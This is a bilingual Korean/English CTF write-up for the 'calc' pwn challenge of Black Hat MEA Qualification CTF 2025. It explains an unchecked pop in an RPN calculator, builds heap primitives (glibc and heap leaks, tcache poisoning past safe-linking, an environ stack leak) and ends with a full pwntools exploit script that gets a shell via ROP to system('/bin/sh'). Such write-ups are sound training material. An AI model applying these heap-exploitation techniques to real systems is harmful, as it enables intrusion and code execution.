2025 BHMea Qual CTF writeup - pwn
CTF: BlackHat MEA Qualification CTF 2025
Link: https://flagyard.com/events/18db1658-bae2-4b1c-9ec7-0a851b5df275
CTFTime: https://ctftime.org/event/2876
Participated as a member of SnackturnX
Result: 1216 Points, 42th Place
Intro
‘25.09.07.(일) - ‘25.09.08.(월) 24시간 동안 진행했던 2025 blackhatmeaCTF 풀이를 작성한다.
팀 내에서 포너블 분야를 담당했고, 고군분투 끝에 calc 문제를 풀 수 있었다.
This post is a write-up of our 24-hour run at Black Hat MEA CTF 2025,spanning
Sep 7 (Sun)–Sep 8 (Mon), 2025.I handled the pwnable category for our team and,
after a hard fight, managed to solve the calc challenge.
calc
description
1 3 xor 3 7 mul mul end
Result: 42
checksec
'/2025blackhatmea/pwn/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enable
source code
#include <algorithm>
#include <functional>
#include <iomanip>
#include <iostream>
#include <unordered_map>
#include <vector>
std::unordered_map<std::string, std::function<int(int, int)>> ops = {
{"add", [](int a, int b) { return a + b; }},
{"sub", [](int a, int b) { return a - b; }},
{"mul", [](int a, int b) { return a * b; }},
{"div", [](int a, int b) { return a / b; }},
{"and", [](int a, int b) { return a & b; }},
{"or" , [](int a, int b) { return a | b; }},
{"xor", [](int a, int b) { return a ^ b; }},
};
int main() {
std::vector<int> stack;
std::string line;
std::cin.rdbuf()->pubsetbuf(nullptr, 0);
std::cout.rdbuf()->pubsetbuf(nullptr, 0);
while (std::cin.good()) {
std::cout << "--- Enter code ---" << std::endl;
stack.resize(0);
stack.shrink_to_fit();
while (std::cin.good()) {
std::cin >> std::setw(0x10) >> line;
std::transform(line.begin(), line.end(), line.begin(), [](char c) {
return std::tolower(c);
});
if (line == "end") {
break;
} else if (line == "quit") {
return 0;
} else if (ops.find(line) == ops.end()) {
stack.push_back(std::stoi(line));
} else {
int b = stack.back();
stack.pop_back();
int a = stack.back();
stack.pop_back();
stack.push_back(ops[line](a, b));
}
}
std::cout << "Result: " << stack.back() << std::endl;
}
return 0;
}
위 설명에도 나와있듯이 스택 기반 후위 표기 계산기를 구현한 문제이다. 총 7개의 연산을 제공하며 이 연산에 해당하는 문자열을 입력받으면 연산에 해당하는 람다함수를 호출하는 형태로 구현되어있다.
값을 얻기 위해서 마지막에 end를 넣어줘야하고 quit 을 통하여 프로그램을 종료할 수 있다.
As noted above, the challenge implements a stack-based Reverse Polish Notation (RPN) calculator.
It exposes seven operations; when the program receives the corresponding operation keyword as input, it dispatches to the matching lambda function.
To obtain the result, you must end the expression with end.
You can terminate the program by entering quit, which exits the main loop.
Vuln
여러가지 취약점이 존재하지만 익스플로잇에 사용되는 취약점에 대해서만 설명한다.
문제 바이너리에서 제공하는 연산을 수행할때 stack 변수에서 두 개의 피연산자를 꺼내 연산 수행 후 stack 변수에 넣는다.
다만 stack.empty()와 같은 함수로 변수 내에 남아있는 요소가 있는지 검사를 하지 않는 취약점이 존재한다.
취약점을 통해 vector 의 end 포인터 주소가 begin 포인터 주소보다 낮은 값을 참조할 수 있게 된다.
정리하면 현재 stack 변수에 할당된 힙 청크를 벗어나 청크 헤더를 넘어 낮은 주소의 청크를 참조할 수 있다.
또한 문제 바이너리에서 제공하는 기능을 활용해 참조하는 주소에 여러 번 4바이트 쓰기가 가능하며 한 번의 4바이트 읽기가 가능하다.
While the binary exposes several bugs, I’ll focus only on the ones used in the exploit.
When an operation is executed, the program pops two operands from stack, performs the computation,
and pushes the result back onto stack.
However, it never checks whether elements remain (e.g., via stack.empty()) before popping—this is the key vulnerability.
Abusing it allows the vector’s end pointer to reference an address lower than begin.
In short, we can step past the heap chunk currently backing stack, traverse the chunk header,
and land in a lower-address chunk. Using the challenge’s built-in primitives,
we gain multiple 4-byte writes to the referenced address and a single 4-byte read.
Exploit plan
익스플로잇 계획은 다음과 같다.
- 힙 청크가 unsorted bin에 할당될만큼 큰 값을 할당하고 종료 후 4바이트 읽기를 두 번 수행하여 glibc 주소 릭
- tcache의 fd를 조작해 원하는 곳을 할당하여 aar/w 획득
- glibc environ 전역 변수에 존재하는 스택 주소 릭
- 스택 주소에 존재하는 반환 주소를 조작하여 ROP
The exploit plan is as follows
- Allocate a heap chunk large enough to end up in the unsorted bin, then perform two 4-byte reads to leak a glibc address.
- Poison the tcache fd to steer an allocation to an arbitrary location and obtain AAR/W.
- Leak a stack address via glibc’s global environ.
- Overwrite the return address at that stack location to achieve ROP.
Exploit
Stage 1
실제 1번을 수행할때 glibc 주소의 상위 4바이트를 가져오는 것은 무난하지만,
하위 4바이트를 확정적으로 가져오기 위해서는 상위 4바이트의 값을 0으로 만들어야한다.
문제 바이너리에 존재하는 백터로만 청크를 획득할 수 있기에
벡터의 capacity 증가가 2의 배수로 진행되므로 획득할 수 있는 청크의 크기가 고정이다.
(0x20, 0x30, 0x50, 0x90, 0x110, 0x210, 0x410, 0x1820, 0x2010 등등)
그렇기에 glibc leak을 위한 청크를 할당하고 해제하는 순간 top chunk에 병합되는 구조로 만들어지는데,
unsorted bin의 fd, bk의 값을 오염시키고 힙을 정리하는 순간 top chunk에 병합되면서 충돌이 발생한다.
In practice for step 1, leaking the upper 4 bytes of a glibc pointer is straightforward,
but to deterministically obtain the lower 4 bytes you must first zero out the upper 4 bytes.
Because the challenge can only obtain chunks via the vector path,
and the vector’s capacity grows by powers of two, the attainable chunk sizes are effectively fixed.
(e.g., 0x20, 0x30, 0x50, 0x90, 0x110, 0x210, 0x410, 0x810, 0x1010, 0x2010, …)
As a result, when you allocate and then free the chunk used for the glibc leak,
it is arranged to coalesce with the top chunk immediately.
If you poison the unsorted bin’s fd/bk and then “clean up” the heap,
that coalescence into the top chunk triggers a crash.
이를 막기 위해 현재 할당된 청크의 헤더에 존재하는 크기 값을
tcache에 해당하면서 이후 추가로 할당될 수 있는 크기인 0x410로 변경한다.
glibc 주소를 구한 이후 바로 오염시킨 값을 되돌리고 변경했던 청크의 크기도 되돌리면
glibc 주소를 구하기 전과 같이 힙을 정리할 수 있다.
To avoid this, I overwrite the size field in the header of a currently allocated chunk to 0x410
so it becomes tcache-eligible and can be (re)allocated later. After I’ve recovered the glibc address,
I immediately restore both the poisoned fd/bk values and the modified size field,
returning the heap to a state where consolidation works just as it did before the leak.

Stage 2
tcache의 fd를 조작하여 원하는 곳을 할당 및 읽기, 쓰기를 하기 위해서 tcache safe linking을 우회해야한다.
(tcache safe linking과 관련된 내용은 자세히 다루지 않을 예정이니 다른 문서를 확인하면 되겠다.)
우회를 위해 Stage 1과 동일한 방법으로 힙 주소를 가져오고 할당받으려는 곳의 주소를 활용하여 fd를 조작한다.
To allocate an arbitrary location via tcache and perform reads/writes by tampering with the fd,
we must bypass tcache safe-linking. (I won’t delve into safe-linking itself here—see other references.)
To bypass it, I first leak a heap address using the same method as in Stage 1,
then forge the fd with that heap pointer and the intended target address
so the next tcache allocation returns the location I want.
문제 바이너리의 흐름상 청크의 할당과 해제는 한 번씩 이루어지기 때문에 조작한 fd로 할당받기 위해서
fd가 조작된 인덱스의 tcache를 할당받고 동일한 인덱스의 tcache bins에 들어가면 안된다.
또한 아래의 malloc 소스코드를 살펴보면, tcache bins의 count값이 0보다 커야 tcache bins에서 할당한다.
이 때문에 tcache bins에 두 개 이상의 해제된 청크가 존재해야한다.
Given the binary’s control flow, each round performs exactly one allocation and one free.
To have the forged fd taken, we must consume from the tcache bin at the poisoned size index,
and we must not insert a chunk into that same index in the same round.
Also, as the malloc source below shows,
tcache only services an allocation when the bin’s count is greater than 0.
Consequently, the target tcache bin must already contain at least two freed chunks.
glibc/glibc-2.39/source/malloc/malloc.c#L3320
// ...
if (tc_idx < mp_.tcache_bins
&& tcache != NULL
&& tcache->counts[tc_idx] > 0) // <--- here
{
victim = tcache_get (tc_idx);
return tag_new_usable (victim);
}
// ...
위의 두 개의 조건을 우회하기 위해 총 세 개의 청크를 이용해 fd를 조작한다.
(편의상 0x110, 0x210, 0x410 크기의 청크 사용)
먼저, 0x210 청크에서 청크 헤더의 크기를 0x110로 수정한다.
To bypass the two constraints above, I use three chunks to forge the fd.
(for convenience, chunks of sizes 0x110, 0x210, and 0x410)
First, I modify the size field in the header of the 0x210 chunk to 0x110.

이후 0x210 청크의 크기를 push_back 함수로 늘려서 0x210 청크를 해제하고 0x410 청크를 할당받는다.
해제된 0x210 청크의 safe linking fd를 조작하여 원하는 곳으로 할당할 fd로 조작한다.
Next, I grow the 0x210 chunk via push_back,
which frees the 0x210 chunk and causes a 0x410 chunk to be allocated.
I then tamper with the safe-linked fd of the freed 0x210 chunk,
forging it so that the next allocation returns the desired target address.

이제 0x110에 해당하는 청크를 할당받으면 이전에 0x210 크기였던 청크가 할당된다.
이때 tcache bins의 다음 할당 포인터는 조작한 포인터 값을 가리키고 있다.
이 포인터를 다음 tcache로 할당받기 위해 이 청크의 헤더 크기를 0x110이 아닌 다른 값으로 변경한다.
Now, when we request a 0x110-sized allocation,
the chunk that used to be 0x210 is returned (since we rewrote its header to 0x110).
At this point, the tcache bin’s “next allocation” pointer for that size already points to our forged address.
To ensure the next tcache allocation actually returns that forged pointer,
change this chunk’s header size to something other than 0x110 so it won’t go back into the same bin.

전부 정리가 된 후 이제 0x110에 해당하는 청크가 할당되면, 조작했던 포인터가 할당되며 aar/w 프리미티브가 완성된다.
With everything prepared, requesting a 0x110 chunk now returns the forged pointer—completing the AAR/W primitive.
Stage 3
Stage 2의 단계를 통해 만들어진 aar/w 프리미티브를 활용하여 익스플로잇을 완성한다.
전체 익스플로잇 코드는 다음과 같다.
Using the AAR/W primitive built in Stage 2, I complete the exploit.
The full exploit code is shown below.
Full exploit code
# snippet pwn
from pwn import *
import os
context.terminal = ['tmux', 'splitw', '-h']
context(arch="amd64", os="linux", log_level="debug", terminal=context.terminal)
exe_path = "./chall"
libc_path = "./libc.so.6"
exe = ELF(exe_path)
libc = ELF(libc_path)
gs = '''
#pie breakpoint 0x00000000000029CE
#pie breakpoint 0x0000000000002964
pie brekapoint 0x002AD6
pie breakpoint 0x0000000000002A21
pie breakpoint 0x0000000000002A7A
c
'''
s = lambda c: io.send(c if isinstance(c, bytes) else c.encode())
sa = lambda s,c: io.sendafter(s, c if isinstance(c, bytes) else str(c).encode())
sl = lambda c: io.sendline(c if isinstance(c, bytes) else str(c).encode())
sla = lambda s,c: io.sendlineafter(s, c if isinstance(c, bytes) else str(c).encode())
p8 = lambda x : pack(x, 8, 'little', False)
p16 = lambda x : pack(x, 16, 'little', False)
p24 = lambda x : pack(x, 24, 'little', False)
p32 = lambda x : pack(x, 32, 'little', False)
p48 = lambda x : pack(x, 48, 'little', False)
p64 = lambda x : pack(x, 64, 'little', False)
p8_big = lambda x : pack(x, 8, 'big', False)
p16_big = lambda x : pack(x, 16, 'big', False)
p24_big = lambda x : pack(x, 24, 'big', False)
p32_big = lambda x : pack(x, 32, 'big', False)
p48_big = lambda x : pack(x, 48, 'big', False)
p64_big = lambda x : pack(x, 64, 'big', False)
rc = lambda : io.recv()
ru = lambda s, d : io.recvuntil(s, drop=d)
rl = lambda : io.recvline()
d = lambda : context.clear(log_level="debug")
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe_path] + argv, gdbscript=gs, env={"LD_PRELOAD":libc_path, "FLAG":"FLAG{fake_flag}"}, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.LOCAL: # Run locally
return process([exe_path] + argv, env={"LD_PRELOAD":libc_path, "FLAG":"FLAG{fake_flag}"}, *a, **kw)
else:
# example
# ex 1) python3 slv.py GDB
# ex 2) python3 slv.py LOCAL
# ex 3) python3 slv.py REMOTE 1.1.1.1 1234
log.error("USAGE: python3 slv.py LOCAL|REMOTE ip port|GDB")
io = start()
def send_code(code):
if code.split(b" ")[-1] != b"end" and code.split(b" ")[-1] != b"quit":
log.fail("code must end with 'end'")
sla(b"--- n", code)
result = ru(b" n---", True).split(b": ")[1].strip()
return int(result)
def glibc_leak():
payload = b''
payload += b'0 ' * 0x800
payload += b'add ' * (0x800)
payload += b'add and ' * 2
payload += b'add and ' * 0x2ff
payload += b'add add '
payload += b'end'
glibc_high = send_code(payload)
log.info(f"glibc_high: {hex(glibc_high)}")
payload = b''
payload += b'0 ' * 0x800
payload += b'add ' * (0x800)
payload += b'add and ' * 1
payload += itos(0x410)
payload += b'and '
payload += b'add and ' * 1
payload += b'add and ' * 0x2ff
payload += b'add add add '
payload += b'end'
glibc_low = (send_code(payload) & 0xffffffff) - glibc_high
log.info(f"glibc_low: {hex(glibc_low)}")
glibc_offset = 0x203b20
glibc_main_arena_leak = ((glibc_high << 32) | glibc_low)
glibc_base = glibc_main_arena_leak - glibc_offset
log.info(f"glibc_main_arena_leak: {hex(glibc_main_arena_leak)}")
payload = b''
payload += b'0 ' * 0x100
payload += b'add ' * (0x100)
payload += b'add and ' * 1
payload += itos(0x2010)
payload += b'and '
payload += b'add and ' * 1
payload += b'add and ' * 0x2ff
payload += b'and and ' * 3
payload += itos(glibc_main_arena_leak & 0xFFFFFFFF)
payload += itos(glibc_main_arena_leak >> 32)
payload += itos(glibc_main_arena_leak & 0xFFFFFFFF)
payload += itos(glibc_main_arena_leak >> 32)
payload += b'end'
send_code(payload)
return glibc_base
def heap_leak():
payload = b''
payload += b'0 ' * 0x100
payload += b'add ' * (0x100)
payload += b'add and ' * 1
payload += b'add ' * (0x7e)
payload += b'end'
key_high = send_code(payload) & 0xFFFFFFFF
log.info(f"key_high: {hex(key_high)}")
payload = b''
payload += b'0 ' * 0x100
payload += b'add ' * (0x100)
payload += b'add and ' * 1
payload += b'add ' * (0x7d)
payload += b'and add '
payload += b'end'
key_low = send_code(payload) & 0xFFFFFFFF
key_val = (key_high << 32) | key_low
log.info(f"key_low: {hex(key_low)}")
log.info(f"key_val: {hex(key_val)}")
payload = b''
payload += b'0 ' * 0x100
payload += b'add ' * (0x100)
payload += b'add and ' * 1
payload += b'add ' * (0x7d)
payload += b'and and add '
payload += b'end'
heap_high = send_code(payload) & 0xFFFFFFFF
log.info(f"heap_high: {hex(heap_high)}")
payload = b''
payload += b'0 ' * 0x100
payload += b'add ' * (0x100)
payload += b'add and ' * 1
payload += b'add ' * (0x7d)
payload += b'and and and add '
payload += b'end'
heap_low = (send_code(payload) & 0xFFFFFFFF) - 0x13
log.info(f"heap_low: {hex(heap_low)}")
heap_base = ((heap_high << 32) | heap_low) << 12
return key_val, heap_base
import struct
def itos(i):
u = struct.unpack('<i', struct.pack('<I', i & 0xFFFFFFFF))[0] # 리틀엔디안
return str(u).encode() + b" "
def main():
# if args.LOCAL:
# gdb.attach(io, gs)
glibc_base = glibc_leak()
log.success(f"glibc_base: {hex(glibc_base)}")
environ_offset = 0x20ad58
environ_addr = glibc_base + environ_offset
log.info(f"environ_addr: {hex(environ_addr)}")
key_val, heap_base = heap_leak()
log.info(f"key_val: {hex(key_val)}")
log.info(f"heap_base: {hex(heap_base)}")
safe_linking_environ_addr = ((heap_base >> 12)+0x13) ^ (environ_addr+0x18)
# Setup for environ variable r/w
payload = b''
payload += b'0 ' * 0x80
payload += b'add ' * 0x80
payload += b'and and '*2
payload += itos(0x0)
payload += itos(0x0)
payload += itos(0x110)
payload += b'0 ' * 0x100
payload += b'add ' * 0x100
payload += b'and and ' * 1
payload += b'add ' * (0x7d)
payload += b'and and and and '
payload += itos(safe_linking_environ_addr & 0xFFFFFFFF)
payload += itos(safe_linking_environ_addr >> 32)
payload += itos(key_val & 0xFFFFFFFF)
payload += itos(key_val >> 32)
payload += b'end'
send_code(payload)
payload = b''
payload += b'0 ' * 0x40
payload += b'add ' * (0x40)
payload += b'and and '*2
payload += itos(0x0)
payload += itos(0x0)
payload += itos(0x410)
payload += b'end'
send_code(payload)
# Glibc environ variable r/w STAGE
payload = b''
payload += b'0 ' * 0x40
payload += b'add ' * (0x40)
payload += b'add and ' * 1
payload += itos(0x110)
payload += b'and and add '
payload += b'end'
stack_leak_high = send_code(payload)
log.info(f"stack_leak_high: {hex(stack_leak_high)}")
payload = b''
payload += b'0 ' * 0x40
payload += b'add ' * (0x40)
payload += b'add and ' * 1
payload += itos(0x110)
payload += b'and and and add '
payload += b'end'
stack_leak_low = send_code(payload) & 0xffffffff
log.info(f"stack_leak_low: {hex(stack_leak_low)}")
stack_leak = ((stack_leak_high << 32) | (stack_leak_low & 0xFFFFFFFF))
log.success(f"stack_leak: {hex(stack_leak)}")
payload = b''
payload += b'0 ' * 0x40
payload += b'add ' * (0x40)
payload += b'add and ' * 1
payload += itos(0x110)
payload += b'and and and and and '
payload += itos(stack_leak & 0xFFFFFFFF)
payload += itos(stack_leak >> 32)
payload += b'end'
send_code(payload)
stack_leak = ((stack_leak_high << 32) | (stack_leak_low & 0xFFFFFFFF))
log.success(f"stack_leak: {hex(stack_leak)}")
stack_leak_offset = 0x130
ret_addr = stack_leak - stack_leak_offset
log.info(f"ret_addr: {hex(ret_addr)}")
safe_linking_ret_addr = ((heap_base >> 12)+0x13) ^ (ret_addr+0x38)
log.info(f"safe_linking_ret_addr: {hex(safe_linking_ret_addr)}")
# Setup for stack return address r/w
payload = b''
payload += b'0 ' * 0x10
payload += b'add ' * 0x10
payload += b'and and '*2
payload += itos(0x0)
payload += itos(0x0)
payload += itos(0x30)
payload += b'0 ' * 0x20
payload += b'add ' * 0x20
payload += b'and and ' * 1
payload += b'add ' * (0xd)
payload += b'and and and and '
payload += itos(safe_linking_ret_addr & 0xFFFFFFFF)
payload += itos(safe_linking_ret_addr >> 32)
payload += itos(key_val & 0xFFFFFFFF)
payload += itos(key_val >> 32)
payload += b'end'
send_code(payload)
payload = b''
payload += b'0 ' * 0x8
payload += b'add ' * (0x8)
payload += b'and and '*2
payload += itos(0x0)
payload += itos(0x0)
payload += itos(0x410)
payload += b'end'
send_code(payload)
pop_rdi_ret_offset = 0x000000000010f75b # : pop rdi ; ret
pop_rdi_ret_addr = glibc_base + pop_rdi_ret_offset
system_addr = glibc_base + libc.symbols['system']
binsh_addr = glibc_base + next(libc.search(b"/bin/sh x00"))
if args.LOCAL:
gdb.attach(io, gs)
log.info(f"pop_rdi_ret_addr: {hex(pop_rdi_ret_addr)}")
log.info(f"system_addr: {hex(system_addr)}")
log.info(f"binsh_addr: {hex(binsh_addr)}")
# Stack return address r/w STAGE
payload = b''
payload += b'0 ' * 0x8
payload += b'add ' * (0x8)
payload += b'add and ' * 2
payload += itos(0x0)
payload += itos(0x0)
payload += itos(0x110)
payload += itos(0x0)
payload += b'add and and and '
payload += b'add ' * 0xa
payload += itos((pop_rdi_ret_addr+1) & 0xFFFFFFFF)
payload += itos((pop_rdi_ret_addr+1) >> 32)
payload += itos(pop_rdi_ret_addr & 0xFFFFFFFF)
payload += itos(pop_rdi_ret_addr >> 32)
payload += itos(binsh_addr & 0xFFFFFFFF)
payload += itos(binsh_addr >> 32)
payload += itos(system_addr & 0xFFFFFFFF)
payload += itos(system_addr >> 32)
payload += itos(0xdeadbeef)
payload += itos(0xdeadbeef)
payload += b'end'
send_code(payload)
sla(b"--- n", b"quit")
io.interactive()
if __name__ == "__main__":
main()